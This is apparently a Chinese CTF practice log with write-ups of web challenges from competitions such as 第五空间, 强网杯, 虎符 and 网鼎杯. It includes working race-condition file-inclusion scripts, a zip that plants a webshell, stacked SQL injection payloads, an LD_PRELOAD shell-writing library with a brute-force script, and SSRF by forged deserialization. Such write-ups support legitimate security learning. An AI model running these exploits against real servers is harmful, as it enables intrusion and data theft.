刷题记录(2023.3.14 - 2023.3.18)

[第五空间 2021]EasyCleanup

临时文件包含考点

分析源码,两个特殊的点,一个是 eval,另一个是 include

eval 经过了 strlen filter checkNums 三个函数

include 经过了 strlen filter 两个函数

filter 检测是否包含特定的关键字或字符

function filter($var){ 
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; 

    foreach($banned as $ban){ 
        if(strstr($var, $ban)) return True; 
    } 
    return False; 
} 

checkNums 检查字母和数字的数量

看一下这道题的 PHP 版本 PHP/5.5.9-1

PHP 5.4 后 session.upload_progress 内置函数被引入,如果开启可以使用其工作原理

工作原理: 在上传文件时,将上传进度信息存储在 PHP 的 $_SESSION 变量中。然后可以使用 session_upload_progress() 函数来访问这些信息,以便在用户界面中显示上传进度条或其他信息。

查看 php 配置

?mode=eval
phpinfo关于session的设置

session.save_path = /tmp
session.use_strict_mode = Off
session.upload_progress.cleanup = On
session.upload_progress.enabled	= On
......

脚本包含

import io

import requests
import threading  # 多线程

from cffi.backend_ctypes import xrange

sessid = '0'
target = 'http://1.14.71.254:28592/'
file = 'ph0ebus.txt'  # 上传文件名
f = io.BytesIO(b'a' * 1024 * 50)  # 文件内容,插入大量垃圾字符来使返回的时间更久,这样临时文件保存的时间更长


def write(session):
    while True:
        session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': ''},
                     files={'file': (file, f)}, cookies={'PHPSESSID': sessid})


def read(session):
    while True:
        resp = session.post(
            f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")
        if file in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+]retry")
            # print(resp.text)


if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in xrange(1, 30):  # 每次调用返回其中的一个值,内存空间使用极少,因而性能非常好
            threading.Thread(target=write, args=(session,)).start()
            # target:在run方法中调用的可调用对象,即需要开启线程的可调用对象,比如函数或方法;args:在参数target中传入的可调用对象的参数元组,默认为空元组()
        for i in xrange(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

[鹏城杯 2022]压缩包

分析源码


highlight_file(__FILE__);

function removedir($dir){
    $list= scandir($dir);
    foreach ($list as  $value) {
       if(is_file($dir.'/'.$value)){
         unlink($dir.'/'.$value);
       }else if($value!="."&&$value!=".."){
                removedir($dir.'/'.$value);
       }
    }
}

function unzip($filename){
        $result = [];
        $zip = new ZipArchive();
        $zip->open($filename);
        $dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);
        if(!is_dir($dir)){
            mkdir($dir);
        }
        if($zip->extractTo($dir)){
        foreach (scandir($dir) as  $value) {
            $file_ext=strrchr($value, '.');
            $file_ext=strtolower($file_ext); //转换为小写
            $file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext=trim($file_ext); //收尾去空
            if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){
                removedir($dir);
            }
            if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){
                if(is_file($dir."/".$value)){
                    unlink($dir."/".$value);
                }else{
                    if($value!="."&&$value!="..")
                    array_push($result,$value);
                }
                
            }
           
        }
        $zip->close();
        unlink($filename);
        return json_encode($result);
        }else{
            return false;
        }
    }
$content= $_REQUEST['content'];
shell_exec('rm -rf /tmp/*');
$fpath ="/tmp/".md5($content); 
file_put_contents($fpath, base64_decode($content));
echo unzip($fpath);

?>

第一种:

用 yu22x 师傅博客的脚本直接打,因为环境问题可能会打不通

import requests
import hashlib
import threading
import base64

url = "http://1.14.71.254:28451/"
sess=requests.session()
r = open("1.zip", "rb").read()
content = base64.b64encode(r)
data={
    'content': content
}
m=hashlib.md5(content)
md=hashlib.md5(('/tmp/'+str(m.digest().hex())).encode())
def write(session):
    while True:
        resp=session.post(url,data=data)
def read(session):
    while True:
        resp=session.get(url+f'static/upload/{md}/1.php')
        if resp.status_code==200:
            print("success")
if __name__=="__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

第二种:

共两个文件,一个 PHP webshell 文件 a.php,一个文本文件 b.txt

结构:

压缩包
├─ a.php
├─ b.txt
└─ shell.zip

准备两个文件,一个PHP文件1.php,一个文本文件2.txt,其中1.php是webshell

然后将这两个文件压缩成 shell.zip,然后使用010编辑器把压缩包打开,把 b.txt 改成对应斜杠的名,这种命名方式在 Linux 下会报错,所以在解压完 a.php 后会报错,不会执行删除操作,则 a.php 就留在服务器上了

刷题记录(2023.3.14 - 2023.3.18)_第1张图片

?content=UEsDBBQAAAAIAAijc1YqE230GgAAABgAAAAFAAAAYS5waHCzsS/IKFBILUvM0VCJD/APDok2jNW0trcDAFBLAwQUAAAAAAAYo3NW0mNIiAMAAAADAAAABQAAAC8vLy8vMTIzUEsBAhQAFAAAAAgACKNzVioTbfQaAAAAGAAAAAUAJAAAAAAAAAAgAAAAAAAAAGEucGhwCgAgAAAAAAABABgAp0J4t11a2QG64YK3XVrZAW9FlD5dWtkBUEsBAhQAFAAAAAAAGKNzVtJjSIgDAAAAAwAAAAUAJAAAAAAAAAAgAAAAPQAAAC8vLy8vCgAgAAAAAAABABgALJnXyl1a2QGw3TDLXVrZAcitdENdWtkBUEsFBgAAAAACAAIArgAAAGMAAAAAAA==

刷题记录(2023.3.14 - 2023.3.18)_第2张图片

参考文章:

https://blog.csdn.net/miuzzx/article/details/125576866

http://www.hackdig.com/07/hack-710909.htm

[强网杯 2019]随便注

注入题

?inject=1'

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
?inject=1' select

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

刷题记录(2023.3.14 - 2023.3.18)_第3张图片
用堆叠注入

查库

?inject=-1';show databases;
array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}

查所有的表格

?inject=-1';show tables;
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

?inject=-1';show columns from `1919810931114514`;

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

    索引为0的元素:列的名称,"flag"
    索引为1的元素:列的数据类型,"varchar(100)",一个最长长度为100的字符串类型
    索引为2的元素:列是否允许为空,"NO",不允许为空
    索引为3的元素:列的默认值
    索引为4的元素:列是否为自增长的,此处为 NULL,不是自增长列
    索引为5的元素:列的注释

到这有四种方法获取 flag

第一种:

通过预编译的方式拼接 select 关键字:

1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

第二种:

直接将下面的语句进行16进制编码

select * from `1919810931114514` 

73656c656374202a2066726f6d20603139313938313039333131313435313460
1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#

定义一个变量并将 sql 语句初始化,然后调用

1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#

第三种:

输入 1 后,即显示 id 为1的数据,猜测默认显示的是 words 表的数据

查看words表结构第一个字段名为 id,然后把 words 表改成 words1(区分即可),然后把 1919810931114514 表改成 words,再把列名 flag 改成 id

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

最后

1' or 1 = 1 #

第四种:

1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;

参考文章:

https://zhuanlan.zhihu.com/p/545713669

[虎符CTF 2022]ezphp

考点:Nginx 在后端 Fastcgi 响应过大 或 请求正文 body 过大时会产生临时文件。如果打开一个进程打开了某个文件,某个文件就会出现在 /proc/PID/fd/ 目录下,我们可以通过重复发包so造成文件缓存,然后用 LD_PRELOAD 去加载我们这个动态链接库

exp.so

#include 
#include 
#include 

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("echo \"\" > /var/www/html/shell.php");
}

编译

gcc -shared -fPIC exp.c -o exp.so

exp.py

import  threading, requests
URL2 = f'http://192.168.56.5:7005/index.php'
nginx_workers = [12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27]
done = False


def uploader():
    print('[+] starting uploader')
    with open("exp.so","rb") as f:
        data1 = f.read()+b'0'*1024*1000
        #print(data1)
    while not done:
        requests.get(URL2, data=data1)
for _ in range(16):
    t = threading.Thread(target=uploader)
    t.start()
def bruter(pid):
    global done
    while not done:
        print(f'[+] brute loop restarted: {pid}')
        for fd in range(4, 32):
            try:
                requests.get(URL2, params={
                    'env': f"LD_PRELOAD=/proc/{pid}/fd/{fd}"
                })
            except:
                pass


for pid in nginx_workers:
    a = threading.Thread(target=bruter, args=(pid, ))
    a.start()

访问生成的临时 shell

URL/shell.php

POST cmd=system(“cat /*”);

得到 flag

参考文章:

2022虎符CTF-ezphp分析

hxp CTF 2021 跳跳糖社区

唯独你没懂战队 wp

[鹏城杯 2022]简单的php

 <?php
show_source(__FILE__);
    $code = $_GET['code'];
    if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
        die(' Hello');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);

    }

?>

!%FF被用作内部函数之间的隔离符。这是因为在 URL 编码中,%FF通常是被认为是无效字符的,因为它超出了 ASCII 字符集的范围。因此,使用!%FF作为隔离符可以确保函数调用中的字符不会被错误地解析或转换。

同理可以使用的也有 %8F 等,ASCII 字符集的范围 0-127

取反构造

?code=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));

刷题记录(2023.3.14 - 2023.3.18)_第4张图片

[网鼎杯 2018]Fakebook

注册 admin 登录成功,很像 sql 的表

刷题记录(2023.3.14 - 2023.3.18)_第5张图片
username 超链接点进去后在页面没有什么特殊的点,但是 URL 有个 no 参数

刷题记录(2023.3.14 - 2023.3.18)_第6张图片

?no=1'

[*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1)

Fatal error: Call to a member function fetch_assoc() on boolean in /var/www/html/db.php on line 66

查字段

1 order by 4

无报错

1 order by 5

报错

union select 被过滤,包括空格

-1 union/**/select 1,2,3,4

刷题记录(2023.3.14 - 2023.3.18)_第7张图片
网页内容左上角报错信息有反序列化函数 unserialize()

查表

-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database();
username	                   age	                   blog

users

查列

-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database();
username	                   age	                   blog

no,username,passwd,data

查询 users 表对应的数据

-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users;
username

1admin3c9909afec25354d551dae21590bb26e38d53f2173b8d3dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c36214dc9f14a42fd7a2fdb84856bca5c44c2O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:7:"3333.cn";}	

这是我的注册信息,所以没用,得找其他方法

扫描后台可扫到 user.php.bak


highlight_file(__FILE__);

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

根据之前的反序列化函数可知,注册信息被序列化后又被反序列化显示出来,而下方的 data 字段存在漏洞,其对应网页的博客内容

使用 sql 的 4 字段对应的 data 修改序列化内容

file:///var/www/html/flag.php
O:8:"UserInfo":3:{s:4:"name";s:10:"admin123ad";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

对应的 sql 语句

-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:10:"admin123ad";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

刷题记录(2023.3.14 - 2023.3.18)_第8张图片
访问链接,查看源码
刷题记录(2023.3.14 - 2023.3.18)_第9张图片

[RoarCTF 2019]Easy Java

点击 help 后,java 程序错误
在这里插入图片描述
且 URL/Download?filename=help.docx

存在 WEB-INF/web.xml 泄露

WEB-INF 是 Java 的 WEB 应用的安全目录。如果想在页面中直接访问其中的文件,必须通过 web.xml 文件对要访问的文件进行相应映射才能访问。

WEB-INF 主要包含一下文件或目录:

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 

/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中

/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件

/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 

/WEB-INF/database.properties:数据库配置文件

Servlet(Server Applet)是Java Servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序,具有独立于平台和协议的特性,主要功能在于交互式地浏览和生成数据,生成动态Web内容。

<servlet> 标签定义了一个 Servlet。

<servlet-name> 标签定义了 Servlet 的名字。

<servlet-class> 标签定义了 Servlet 的类名。

<servlet-mapping> 标签将 Servlet 映射到一个 URL。

<url-pattern> 标签定义了 URL 的模式,该 URL 模式将请求映射到相应的 Servlet。

对于每个 Servlet,都有相应的 <servlet><servlet-mapping> 来进行定义和映射。
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

刷题记录(2023.3.14 - 2023.3.18)_第10张图片

解码得
刷题记录(2023.3.14 - 2023.3.18)_第11张图片

[NPUCTF2020]ezinclude

刷题记录(2023.3.14 - 2023.3.18)_第12张图片
首页直接报错,源码中有信息

<html>

html>

测试后,GET 可传 name,且其参数变化后 Set-Cookie 中的 Hash 值会变化,传入对应的 name,即有对应的 pass 值

?pass=fa25e54758d5d5c1927781a6ede89f8a

<script language="javascript" type="text/javascript">
           window.location.href="flflflflag.php";
	script>
<html>

html>

/flflflflag.php?file=php://filter/convert.base64-encode/resource=flflflflag.php

刷题记录(2023.3.14 - 2023.3.18)_第13张图片

flflflflag.php

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

dir.php


var_dump(scandir('/tmp'));
?>
在 PHP 7 中,如果存在内存错误或其他类似的问题,可能会导致段错误(segment fault),可能会导致 PHP 异常崩溃退出。

这种情况可能会在尝试处理大量数据或处理超出内存限制的数据时发生。

如果向 PHP 发送包含文件区块的数据包时,PHP 异常崩溃退出,但是 POST 的临时文件仍被保留

使用脚本发送包含文件区块的数据包

import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = ""
data={'file': BytesIO(payload.encode())}
url="http://366904a9-c0cd-4a65-8b3a-77b6adb8021f.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)

在这里插入图片描述

刷题记录(2023.3.14 - 2023.3.18)_第14张图片

本文脚本均来自网上收集,代码持续完善分析中…

你可能感兴趣的:(刷题记录,php,数据库,服务器)